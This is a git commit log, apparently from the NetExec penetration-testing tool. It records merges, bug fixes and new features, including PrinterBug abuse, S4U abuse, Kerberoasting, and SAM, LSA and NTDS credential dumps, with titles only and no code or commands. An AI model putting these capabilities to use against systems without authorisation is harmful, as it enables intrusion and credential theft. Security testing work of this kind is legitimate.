2024-02-27 17:58:23 +01:00
Marshall Hallenbeck 6454ee7467 Merge pull request #186 from Pennyw0rth/neff-audit-mode
Fix audit_mode in ldap
2024-02-27 11:25:46 -05:00
Alexander Neff b7df87c7f7 Fix audit_mode in ldap 2024-02-27 11:23:45 -05:00
XiaoliChan 2a497f4965 Merge branch 'main' into mssql-improv 2024-02-27 17:56:33 +08:00
Alex 71ed38276a Merge pull request #187 from Pennyw0rth/neff-update-impacket
Update impacket dependency to pull latest changes
2024-02-27 04:40:50 -05:00
Alexander Neff 26c35b3811 Update impacket dependency to pull latest changes 2024-02-27 10:33:11 +01:00
XiaoliChan b8912b5166 [nanodump] Bug fixed
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 16:09:04 +08:00
XiaoliChan 1454b265ae Merge branch 'main' into mssql-improv 2024-02-27 14:12:46 +08:00
Hakan Yavuz 7909477ef7 Update printerbug.py
fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 2feece33e6 Update printerbug.py
Fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz fddcf67a65 Update printerbug.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz e422a17080 Update printerbug.py
Fix trigger

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 188f909e64 Create printerbug.py
Add MS-RPRN abuse (PrinterBug)

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Marshall Hallenbeck a70baec753 Merge pull request #173 from Dfte/main
Update ntlmv1.py
2024-02-26 10:23:40 -05:00
Marshall Hallenbeck 56338d28f8 Merge branch 'main' into main 2024-02-26 10:22:34 -05:00
XiaoliChan 666a81713a Merge branch 'main' into mssql-improv 2024-02-26 16:29:27 +08:00
Marshall Hallenbeck 49ca92d1f1 Merge pull request #176 from Pennyw0rth/neff-error-handling
Add error handling for protocol level
2024-02-22 16:56:40 -05:00
Marshall Hallenbeck 3c39b94ee8 Merge branch 'main' into neff-error-handling 2024-02-21 13:45:20 -05:00
Marshall Hallenbeck a69f3e737a Merge pull request #185 from Pennyw0rth/neff-fix-rrp
Remove unnecessary remote ops check
2024-02-21 13:43:54 -05:00
Marshall Hallenbeck b19b8884ad Merge branch 'main' into neff-fix-rrp 2024-02-21 13:23:31 -05:00
Alexander Neff 16c0237245 Impacket already checks if remote_ops is running, we don't need it in here
Besides that, it intruduces a bug where nxc think rrp is enabled, but we closed it before without setting the self.remote_ops variable to None. This leads to sometimes crashing in lsa/sam dump if the service wasnt started originally.
2024-02-21 19:11:09 +01:00
Alex 72ef88a8f1 Merge branch 'main' into neff-error-handling 2024-02-21 17:27:02 +01:00
Alex 5b32cd8cf5 Merge pull request #183 from Pennyw0rth/neff-fix-share-privs
Write without delete will now be displayed as write access
2024-02-18 12:23:08 +01:00
Alex c16aa4cd9f Add share name in debug info for write check 2024-02-18 11:48:28 +01:00
Alexander Neff 7d99d519e5 Write without delete will now be displayed as write access 2024-02-18 01:04:37 +01:00
Alex fe179b006a Merge pull request #179 from Pennyw0rth/neff-audit-mode
Allow a single word as audit mode "character"
2024-02-14 15:19:03 +01:00
Alexander Neff 3d9cbca7a8 Allow a whole word as audit mode character 2024-02-14 15:06:41 +01:00
Alex ae121c566a Merge pull request #123 from Pennyw0rth/nxcdb-marshall
nxcdb: refactor shared database/workspace setup code & allow for creation/setting of workspaces outside of nxcdb interactive console
2024-02-12 19:25:56 +01:00
Alex f76fb16311 Merge branch 'main' into nxcdb-marshall 2024-02-12 18:54:53 +01:00
Alexander Neff 0442376287 Add error handling for protocol level 2024-02-09 14:29:39 +01:00
Deft_ d6dae9c605 Update ntlmv1.py
Update the module as it was not working anymore and the values were not accurate 

Signed-off-by: Deft_ <[email protected]>
2024-02-08 11:54:08 +01:00
XiaoliChan 1e2e4adda4 Merge remote-tracking branch 'upstream/main' into mssql-improv 2024-02-07 23:34:57 +08:00
Alex a39f71ebbc Remove pyreadline as it causes errors in nxcdb 2024-02-06 11:28:32 +01:00
Marshall Hallenbeck 1645f672d3 Merge pull request #169 from fpreynaud/check_renames
[WCC] Make check names more explicit
2024-02-02 14:46:52 -05:00
François REYNAUD 1c822aae38 [WCC] Make check names more explicit 2024-02-02 16:48:33 +01:00
Marshall Hallenbeck 3c11b71ca6 Merge pull request #167 from Pennyw0rth/neff-deps
Hotfix: Allow broader version for argcomplete to fix macos installations
2024-02-02 10:45:17 -05:00
Alexander Neff 9696fe4c9a Allow broader version for argcomplete to fix macos installations 2024-01-29 14:53:46 +01:00
Marshall Hallenbeck c2e9fcc545 Merge branch 'main' into nxcdb-marshall 2024-01-22 16:52:28 -05:00
Marshall Hallenbeck 275bc41477 fix(database): only attempt to initialize default workspace if it doesnt exist 2024-01-22 16:52:18 -05:00
Marshall Hallenbeck 06ccf5eeec Merge pull request #153 from Pennyw0rth/neff-space-in-username
Fix usernames with empty spaces in ntds dump
2024-01-22 16:15:24 -05:00
Marshall Hallenbeck a94a1b27ea Merge branch 'main' into neff-space-in-username 2024-01-22 15:50:24 -05:00
Marshall Hallenbeck f058c2ddf7 Merge pull request #139 from Pennyw0rth/neff-asyncio
Surpress any errors when using rdp and broken python version
2024-01-22 15:50:00 -05:00
Marshall Hallenbeck d4f4c7c4a2 Merge branch 'main' into neff-asyncio 2024-01-22 15:30:03 -05:00
Marshall Hallenbeck f46c5eae17 Merge pull request #135 from Pennyw0rth/neff-win-firefox
Fix issue #134 with tempfile on windows
2024-01-22 15:27:29 -05:00
Marshall Hallenbeck d84eb7ed96 Merge branch 'main' into neff-win-firefox 2024-01-22 14:42:42 -05:00
Marshall Hallenbeck 6abdf079e6 Merge branch 'main' into nxcdb-marshall 2024-01-18 20:36:22 -05:00
Alex 9df72e2f68 Merge pull request #162 from thiagokokada/fix-some-issues-in-deps
Fix some issues in deps
2024-01-15 23:06:03 +01:00
Thiago Kenji Okada 1f8a948966 Set pyreadline for Win32 only 2024-01-14 17:57:18 +00:00
Thiago Kenji Okada 50962312a2 Move ruff to dev dependency 2024-01-14 17:54:07 +00:00
Thiago Kenji Okada b3a5c300b5 Remove resource
Introduced in 483dc69a2a, it points to
https://github.com/RussellLuo/resource, an unmaintained library.
However, it is clear in the code that this should have been resource
from stdlib instead (https://docs.python.org/3/library/resource.html),
and needs not to be included in `pyproject.toml`.
2024-01-14 17:51:30 +00:00
Alex 5f29e661b7 Merge pull request #155 from Pennyw0rth/neff-fix-modules-windows 2023-12-24 22:56:57 +01:00
Alexander Neff 5809a1470a Fixing module name check with windows backspace path 2023-12-24 22:16:27 +01:00
Alex dcbb01a39e Merge pull request #148 from Adamkadaban/argcomplete-completion
add argcomplete bash/zsh completion
2023-12-24 14:20:28 +01:00
Alexander Neff db2936db98 Update python version in readme 2023-12-24 14:16:11 +01:00
Alexander Neff a70f3e6ae3 Merge main into argcomplete 2023-12-24 13:41:05 +01:00
Alex 6115185d75 Merge pull request #132 from Pennyw0rth/neff-encode-errors 2023-12-23 17:23:04 +01:00
Alex 82e8c17e5d Merge pull request #130 from Pennyw0rth/binaries-neff 2023-12-23 17:22:53 +01:00
Alexander Neff 02bdbef712 Fix host domain display output when specifying domain in smb 2023-12-23 16:46:34 +01:00
Alexander Neff 303a051003 Fix host domain display output when specifying domain in ldap 2023-12-23 16:18:20 +01:00
Alex 5e964bb0eb Merge pull request #150 from Pennyw0rth/neff-enum_trusts
Remove domain DN from ldap query, fixes #144
2023-12-23 15:48:53 +01:00
Alex 2732987a6a Merge pull request #141 from Pennyw0rth/neff-laps 2023-12-22 18:20:51 +01:00
Alexander Neff 694f6a0984 Fix usernames with empty spaces in ntds dump 2023-12-22 17:42:58 +01:00
Alexander Neff 3dcd24869d Allow ldap connection with no smb and without domain 2023-12-22 17:10:07 +01:00
Alexander Neff 14391af612 Remove domain DN from ldap query, fixes #144 2023-12-18 01:48:50 +01:00
Alexander Neff 85b53868f2 Improve import 2023-12-17 19:40:53 +01:00
Alex 235d9e049f Merge branch 'main' into neff-encode-errors 2023-12-17 19:36:04 +01:00
Alexander Neff 5900029c4f Resetting lock file 2023-12-17 19:34:55 +01:00
Alex 7fb2a0f94c Merge branch 'main' into argcomplete-completion 2023-12-17 18:47:25 +01:00
Alex 8899c003c8 Merge pull request #133 from Syzik/ModulesEnumeration
Modules enumeration ldap
2023-12-17 13:15:43 +01:00
Alexander Neff b9a3f8f22f Resetting lock file 2023-12-16 18:59:53 +01:00
Alex c1d253800b Merge branch 'main' into ModulesEnumeration 2023-12-16 18:42:25 +01:00
Alexander Neff 67cb940775 Rename module filenames to match module name 2023-12-16 15:48:17 +01:00
Alexander Neff f82bd95442 Add argcomplete support for modules 2023-12-16 15:40:56 +01:00
Alexander Neff b18a5a770c Fix argcomplete version and drop python 3.7 support 2023-12-16 15:39:50 +01:00
Adamkadaban edfa64b5e9 add argcomplete bash/zsh completion 2023-12-16 05:47:03 -05:00
Alex ef4f2df92c Merge pull request #146 from 0xlazY/iis_quote_fix
Fix: iis module cmd exec quotes
2023-12-15 23:54:46 +01:00
Marshall Hallenbeck e90502d9da Merge branch 'main' into nxcdb-marshall 2023-12-14 15:22:05 -05:00
0xlazy a347fcc208 Fix: iis module cmd exec quotes 2023-12-13 15:01:47 +01:00
XiaoliChan ae5d57a75d [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:45:02 +08:00
XiaoliChan d6eb6c205a [mssql] add is_mssql check
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:40:12 +08:00
XiaoliChan b4ae46f65d [mssql] bug fix
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 17:32:24 +08:00
XiaoliChan 2c174369ba [mssql] less code
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 93f3bccd7b [mssql] fix ccache
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 8a5d77b1d7 [mssql] fix kerb_pass
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 86ebce4722 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 4a18e2f452 [mssql] Bringing up timeout argument
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9a6a37152f [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan f7078bb76b [mssql] more linebreak
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan dd78e22938 [mssql] move outputBuffer
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cbdf87a4d8 [mssql] bye bye '--no-smb'
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cf91a11453 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan aade033254 [mssql] fix wrong things and add brackets
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 750d35e747 [mssql] revert pyproject.toml
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 6f1bcaaf46 [mssql] Enhance the error message
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9e01b97694 [mssql] bye bye SMB :)
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
Alex 6c9afa37b7 Merge branch 'main' into binaries-neff 2023-12-11 08:24:13 +01:00
Alexander Neff cc1d90ca2a Merge main into neff-laps 2023-12-10 16:12:58 +01:00
Alex 4846464cd0 Merge pull request #114 from XiaoliChan/winrm-better-output
[winrm] better output
2023-12-10 16:03:08 +01:00
Alexander Neff afd568cf94 Fix correct protocol and port display output 2023-12-10 15:59:34 +01:00
Alex d4b3ace3a6 Merge branch 'main' into winrm-better-output 2023-12-09 20:34:05 +01:00
Alexander Neff f8982a8d65 Move detailed information to info logging output 2023-12-09 18:53:46 +01:00
Syzik 847f8c43a4 Merge branch 'main' into ModulesEnumeration 2023-12-09 03:40:57 +01:00
Alexander Neff 940f81dec4 Remove old laps checks 2023-12-09 01:19:55 +01:00
Alexander Neff 2793895b6e Fix hash and domain handling laps 2023-12-09 01:10:03 +01:00
Alexander Neff 14aedea969 Fix laps return values 2023-12-09 00:58:19 +01:00
Alexander Neff a7d780ebe4 Remove unused imports 2023-12-09 00:52:54 +01:00
Alexander Neff 89d4567a81 Enable logging from outside of modules 2023-12-09 00:52:27 +01:00
Alexander Neff 92273306ac Move laps login logic to connection.py 2023-12-09 00:52:00 +01:00
Marshall Hallenbeck 046b1f9113 Merge pull request #140 from Pennyw0rth/neff-wcc
Fix array index
2023-12-08 09:22:05 -05:00
Alexander Neff a8a810d32b Fix array index 2023-12-08 12:51:01 +01:00
syzik b2b56cd562 Module Description Fix (NeffIsBack) 2023-12-08 05:15:58 +01:00
Alex 76836dcc9c Merge pull request #137 from fpreynaud/bugfix
Fix bug in WCC module
2023-12-08 01:08:12 +01:00
Alexander Neff 5c87c27f7e Fix ruff 2023-12-08 00:55:40 +01:00
Alexander Neff bc0ebf7169 Only surpress errors when using rdp not always 2023-12-07 22:09:03 +01:00
Alexander Neff 5daa3ecc7f Surpress any errors when using rdp and broken python version 2023-12-07 22:01:56 +01:00
François REYNAUD 313d795871 Fix bug introduced by commit bfd32f1910 2023-12-07 18:05:55 +01:00
Alexander Neff 796e49e86b Add exception handling 2023-12-04 16:15:27 +01:00
Alexander Neff da603def02 Fix issue #134 which occurs on windows 2023-12-04 16:07:56 +01:00
Alex 3a2b3938c6 Properly fix rdp and winrm 2023-12-01 16:08:46 +01:00
syzik 476e35c47c ldap modules 2023-11-30 22:42:17 +01:00
syzik fee9d24e64 ldap modules 2023-11-30 22:35:23 +01:00
Alex 549f428faf Fix dependencies for binary building 2023-11-30 19:20:41 +01:00
Alexander Neff 03b88843fa Updating dependencies for latest impacket changes and removing deprecated encodeerror check 2023-11-30 17:08:49 +01:00
Alexander Neff 4c7a9337b9 Fix missing aardwolf import in binary 2023-11-30 14:29:51 +01:00
Alexander Neff e3b0e4556e Rename pipelines 2023-11-30 07:34:54 -05:00
Alexander Neff be5ce876e3 Add pyvenv config to gitignore 2023-11-30 07:34:10 -05:00
XiaoliChan 88e229a325 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-29 15:12:04 +08:00
Marshall Hallenbeck 388208d4ea Merge pull request #128 from termanix/AddNewLdapFlagActiveUsers
Add New Ldap Flag --active-users
2023-11-28 11:49:55 -05:00
termanix d29bb7cf18 Update ldap.py
Try to fix Ruff error

Signed-off-by: termanix <[email protected]>
2023-11-28 19:00:44 +03:00
termanix 5ca86fc1d7 Add New Ldap Flag Listing Active Domain Users 2023-11-28 13:40:57 +03:00
XiaoliChan bbbb61a5e1 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-28 14:25:54 +08:00
Marshall Hallenbeck 7fa783a09d Merge branch 'main' into nxcdb-marshall 2023-11-25 22:46:08 -05:00
Marshall Hallenbeck a6be6c1b07 Merge pull request #121 from Pennyw0rth/ms17-010-error-handling
Ms17 010 error handling
2023-11-25 22:45:29 -05:00
Alexander Neff b59246da68 Replace old WS_PATH variable 2023-11-24 19:59:58 -05:00
Alexander Neff e48a02d7d8 Switch command line short form to match syntax 2023-11-24 19:58:49 -05:00
Alexander Neff 7c3e9a22da Cli command now lists all workspaces and changed workspaces output to match git style 2023-11-24 19:55:16 -05:00
Alexander Neff f08b58de8a Add cli option to get current workspace 2023-11-24 19:42:24 -05:00
Marshall Hallenbeck e02fabc6b4 ruff: remove unused import 2023-11-17 22:56:32 -05:00
Marshall Hallenbeck d0c996fc05 feat(nxcdb): add functionality to create and set workspaces without entering interactive console 2023-11-17 22:51:43 -05:00
Marshall Hallenbeck 861626d061 refactor: deduplicate code and simplify initial db setup 2023-11-17 21:24:03 -05:00
Marshall Hallenbeck b4f3bacb99 refactor(nxcdb): move shared fdatabase functions to single file 2023-11-17 16:55:57 -05:00
XiaoliChan 3eb421ef2a Merge branch 'main' into winrm-better-output 2023-11-16 16:29:30 +08:00
Marshall Hallenbeck 29b22b56c7 Merge branch 'main' into ms17-010-error-handling 2023-11-14 10:49:58 -05:00
Marshall Hallenbeck 246cc6c0f2 Merge pull request #120 from Pennyw0rth/e2e_tests_marshall
tests: improve output of e2e tests for errors
2023-11-14 10:49:41 -05:00
Marshall Hallenbeck 9b619b86aa Revert "fix(smb errors): getErrorString only returns one item, not a tuple; fixes #117"
This reverts commit 1784d55bae.
2023-11-13 13:42:45 -05:00
Marshall Hallenbeck 761cf715d0 fix(ms17-010): better error handling to catch invalid SMB responses wduring check 2023-11-13 12:47:28 -05:00
Marshall Hallenbeck 1784d55bae fix(smb errors): getErrorString only returns one item, not a tuple; fixes #117 2023-11-13 12:34:45 -05:00
Marshall Hallenbeck c6b8905406 tests: improve output of e2e tests for errors by not coloring the entire output red and printing command before running 2023-11-13 12:17:04 -05:00
Marshall Hallenbeck fd5d37eb13 Merge branch 'main' into winrm-better-output 2023-11-13 10:17:52 -05:00
Marshall Hallenbeck 8879ccc52b Merge pull request #118 from Pennyw0rth/develop
Merge v1.1.0 develop into main
2023-11-13 10:10:07 -05:00
Marshall Hallenbeck c499d92c70 Merge pull request #116 from Pennyw0rth/netexec-v1.1.0
Netexec v1.1.0
2023-11-12 17:28:21 -05:00
Alexander Neff 346b0b447a Fix Xioali link 2023-11-12 23:27:31 +01:00
Alexander Neff 6bf7bd4481 Add Xiaoli to Readme 2023-11-12 23:22:28 +01:00
Alexander Neff 983d06d1f0 Bump version to v1.1.0 2023-11-12 23:19:09 +01:00
Marshall Hallenbeck 54eb620b1d Merge pull request #115 from Pennyw0rth/neff-bugfixes
Adding error handling for unexpected powershell output, see issue #93
2023-11-12 17:14:52 -05:00
Alexander Neff 862aef7ec6 Properly use f-string 2023-11-12 23:14:04 +01:00
Marshall Hallenbeck c9c676a03b Merge branch 'develop' into neff-bugfixes 2023-11-12 17:10:19 -05:00
Alexander Neff 57e31aef07 Extract laps_search from smb and winrm to /protocols/ldap/laps 2023-11-11 17:31:37 -05:00
Alexander Neff 75190da24a Adding error handling for unexpected powershell output, see issue #93 2023-11-11 17:13:41 -05:00
XiaoliChan 76f23d422d [winrm] better output
Signed-off-by: XiaoliChan <[email protected]>
2023-11-11 21:20:00 +08:00
Alex 426e446eb7 Merge pull request #106 from nikaiw/develop
disable use of ssh_agent
2023-11-10 07:31:27 -05:00
Alex a440a83a2e Merge pull request #113 from XiaoliChan/ssh-fix
[ssh] fix #112
2023-11-10 07:26:59 -05:00
XiaoliChan bbad2c90e5 Merge remote-tracking branch 'upstream/develop' into ssh-fix 2023-11-10 13:58:01 +08:00
XiaoliChan 82b2f1e3d5 [ssh] fix #112
Signed-off-by: XiaoliChan <[email protected]>
2023-11-10 13:50:08 +08:00
Marshall Hallenbeck 5b21585a9f Merge pull request #109 from Pennyw0rth/neff-small-improvements
Improve module texts
2023-11-09 15:42:41 -05:00
Marshall Hallenbeck 4a7d7f2074 Merge branch 'develop' into neff-small-improvements 2023-11-09 15:42:07 -05:00
Alex 9550c0533a Fix grammar 2023-11-09 21:34:59 +01:00
Marshall Hallenbeck 7a4246aa99 Merge pull request #111 from Pennyw0rth/issues/104
Fix Kerberoasting for #104
2023-11-09 15:18:09 -05:00
Marshall Hallenbeck 3333bf9449 revert(kerberoasting): go back to defining output file after --kerberoast and remove --output-file param 2023-11-09 14:00:49 -05:00
Marshall Hallenbeck 2c4be2ebe2 fix(kerberoasting): fixed kerberoasting; added output-file option, removed unnecessary param for --kerberoasting; fixed kcache checking 2023-11-09 13:37:49 -05:00
Marshall Hallenbeck 26b9ecc482 fix(kerberos): only use kcache if asked to via cml parameters; add additional debug and error handling 2023-11-09 12:51:09 -05:00
Marshall Hallenbeck f1388aa429 fix(kerberos): check if there is the KRB5CCNAME before referencing it 2023-11-09 12:27:02 -05:00
Marshall Hallenbeck f46ba02a31 kerberoasting/asreproasting: just take in -- command, does not require useless param anymore 2023-11-09 12:05:20 -05:00
Marshall Hallenbeck 49d4441b0f Merge pull request #107 from XiaoliChan/winrm-missport
[winrm] disable logger & add miss port args
2023-11-08 22:54:59 -05:00
Marshall Hallenbeck ad2744269d Merge pull request #108 from Pennyw0rth/issues/101
Fix: update MS17-010 for Python3 properly; add debug logging
2023-11-08 22:54:09 -05:00
Alexander Neff d561bd01ec Make module description more precise 2023-11-08 21:22:35 +01:00
Alexander Neff 4dd3e4803d Improve module option text 2023-11-08 21:19:26 +01:00
Marshall Hallenbeck 364513a203 fix(ms17-010): move functions to NXCModule for context.log to properly display output 2023-11-08 13:32:09 -05:00
Marshall Hallenbeck 092eb0c5a1 fix(ms17-010): ms17-010 works now, and has a lot more debugging info if wanted 2023-11-08 13:21:25 -05:00
Xiaoli Chan fef8028b13 [winrm] disable logger & add miss port args
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-08 21:00:14 +08:00
NK 8cd85def45 disable use of ssh_agent in paramiko, first fix for #105 2023-11-08 00:55:34 +01:00
Alex e07b3e45ba Merge pull request #72 from XiaoliChan/winrm-improv
[winrm] Improvement
2023-11-07 14:42:03 -05:00
Xiaoli Chan 17a032ff00 [winrm] Add e2e and improve tips
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 12:32:18 +08:00
Xiaoli Chan 20faa3c7f6 [winrm] e to string
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 12:27:30 +08:00
Xiaoli Chan 67b6acb30a [winrm] Add comment about dos attack
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 12:23:52 +08:00
Xiaoli Chan 3d2f3e1f8c [winrm] args info
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 03:50:16 +08:00
Xiaoli Chan c69583f49f [winrm] improve sam & lsa dump
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 03:45:58 +08:00
Xiaoli Chan 2247bb5f31 [winrm] use 'cmd /c' when command running in powershell
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 02:07:53 +08:00
Xiaoli Chan e6934000b4 [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 02:04:15 +08:00
Xiaoli Chan 957b15aaef [winrm] try catch in sam & lsa
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 01:55:10 +08:00
Xiaoli Chan 7b10dcefd4 [winrm] revert args to old one
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 01:36:28 +08:00
Xiaoli Chan 79dfbba09b [winrm] mpgn: local-auth review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 22:20:32 +08:00
Xiaoli Chan 06cbb35158 [winrm] ugly if condition
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 13:48:28 +08:00
Xiaoli Chan 9bbab6b47d [winrm] clean
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 04:09:56 +08:00
Xiaoli Chan 415cd1afa0 [winrm] Fix local auth
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 04:08:57 +08:00
Xiaoli Chan 112c172403 [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 03:35:42 +08:00
Xiaoli Chan 2b4ea74922 [winrm] fix mpgn test issues
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 03:32:06 +08:00
Xiaoli Chan d80abb4be9 [winrm] improve enum
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 03:24:35 +08:00
Xiaoli Chan 234987b97e [winrm] improve logger
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:26:25 +08:00
Xiaoli Chan 8059a6b159 [winrm] self review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:12:12 +08:00
Xiaoli Chan 892a411ea3 [winrm] more make sense
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:07:06 +08:00
Xiaoli Chan e85fe3c4f2 [winrm] marshall review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:03:20 +08:00
Xiaoli Chan e1a4da1cea [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:53:04 +08:00
Xiaoli Chan 6e562cdfa6 [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:50:37 +08:00
Xiaoli Chan 9b475c32ed [winrm] marshall review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:45:25 +08:00
Xiaoli Chan c38deee8d8 [winrm] conflict fix
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:04:17 +08:00
Marshall Hallenbeck 470b4e88cc Merge pull request #90 from Pennyw0rth/neff-bh-pc
Set computer accounts as owned in bloodhound if local admin privs
2023-11-04 16:40:05 -04:00
XiaoliChan ffa2d8918d [winrm] clean up
Signed-off-by: XiaoliChan <[email protected]>
2023-11-04 23:28:33 +08:00
XiaoliChan 2bf2c30e01 [winrm] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-11-04 23:19:52 +08:00
XiaoliChan 40f30af119 [winrm] controversial: revert kerberos implement
Signed-off-by: XiaoliChan <[email protected]>
2023-11-04 23:13:27 +08:00
XiaoliChan 88f7ab3a6f Merge remote-tracking branch 'upstream/develop' into winrm-improv 2023-11-04 22:55:30 +08:00
Alexander Neff 96ad5721f5 Functionalyze bloodhound connector, improve handling bloodhound connection without a domain 2023-11-03 20:24:43 -04:00
Alexander Neff d5631cfa60 Move logging output above adding user to bloodhound 2023-11-03 20:23:15 -04:00
Alexander Neff 4f7264312f Merge branch 'develop' into neff-bh-pc 2023-11-03 17:25:45 -04:00
Alex e046a67775 Merge pull request #88 from Pennyw0rth/neff-neo4j
Improve bloodhound connector with Netbios domain name
2023-11-03 17:16:49 -04:00
Alexander Neff 3b466a3c9e Merge branch 'develop' into neff-neo4j 2023-11-03 16:58:01 -04:00
Marshall Hallenbeck 1156bd4655 Merge branch 'develop' into winrm-improv 2023-11-03 14:14:38 -04:00
Marshall Hallenbeck 9fc67da64e Merge pull request #63 from XiaoliChan/connection-miss-port
[connection.py] Improvement
2023-11-03 14:14:25 -04:00
Marshall Hallenbeck b4bd5d6c83 Merge branch 'develop' into connection-miss-port 2023-11-03 12:31:09 -04:00
zblurx 5e247be9d5 Merge pull request #50 from Pennyw0rth/s4u
Implement s4u abuse
2023-11-03 12:16:29 +01:00
zblurx 2c1f30a276 fix ruff alerts 2023-11-01 19:47:38 +01:00
zblurx 4853942fee Merge branch 'develop' into s4u
Signed-off-by: zblurx <[email protected]>
2023-11-01 19:18:25 +01:00
XiaoliChan 3f91715d31 [winrm] marshall: review I
Signed-off-by: XiaoliChan <[email protected]>
2023-11-01 13:44:32 +08:00
XiaoliChan 74a33e27b0 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-11-01 13:10:29 +08:00
Alexander Neff 47eed50292 Autoformat and fixing some line breaks 2023-10-31 16:48:23 -04:00
Alexander Neff e20ed5c97e Fix small typo in github bug report template 2023-10-31 16:38:24 -04:00
Marshall Hallenbeck 47e062493e Merge branch 'develop' into winrm-improv
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-31 13:18:11 -04:00
Marshall Hallenbeck be540f2d87 Merge pull request #97 from shresthasurav/patch1
fix typos in python files of directory `nxc/modules`
2023-10-31 11:28:05 -04:00
Marshall Hallenbeck 6d962107b9 Merge branch 'develop' into patch1
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-31 11:27:25 -04:00
Marshall Hallenbeck 6e589018c6 Merge pull request #98 from Pennyw0rth/neff-bugfixes
Fix import error on windows
2023-10-31 11:18:01 -04:00
XiaoliChan 470d861cf7 [winrm] aeskey support
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 22:26:12 +08:00
Alexander Neff 03f3155835 Fix arg hasattr delegate check 2023-10-31 10:24:15 -04:00
XiaoliChan ddb7cf2065 [connection.py] update logger
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 21:45:12 +08:00
XiaoliChan e2bc4bdd97 [winrm] platform check when doing kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 21:43:36 +08:00
Alex 079c224f17 Fix import error on windows 2023-10-31 14:29:15 +01:00
Surav Shrestha 671afcc039 fix typos in nxc/modules/user_desc.py 2023-10-31 17:20:29 +05:45
Surav Shrestha 6386231e4f fix typos in nxc/modules/teams_localdb.py 2023-10-31 17:20:29 +05:45
Surav Shrestha e993b205d0 fix typos in nxc/modules/schtask_as.py 2023-10-31 17:20:29 +05:45
Surav Shrestha 568cf72860 fix typos in nxc/modules/scan-network.py 2023-10-31 17:20:29 +05:45
Surav Shrestha 2bcb04fcd3 fix typos in nxc/modules/ldap-checker.py 2023-10-31 17:17:26 +05:45
Surav Shrestha 9fa09da8a9 fix typos in nxc/modules/keepass_trigger.py 2023-10-31 17:17:26 +05:45
Surav Shrestha b8476fce4f fix typos in nxc/modules/example_module.py 2023-10-31 17:17:26 +05:45
Surav Shrestha f3e032c4e5 fix typos in nxc/modules/daclread.py 2023-10-31 17:17:26 +05:45
XiaoliChan 9fbe8d5bec [winrm] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:25:21 +08:00
XiaoliChan 9c5f7d6488 [workflow] update dependency for lint.yml
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:19:35 +08:00
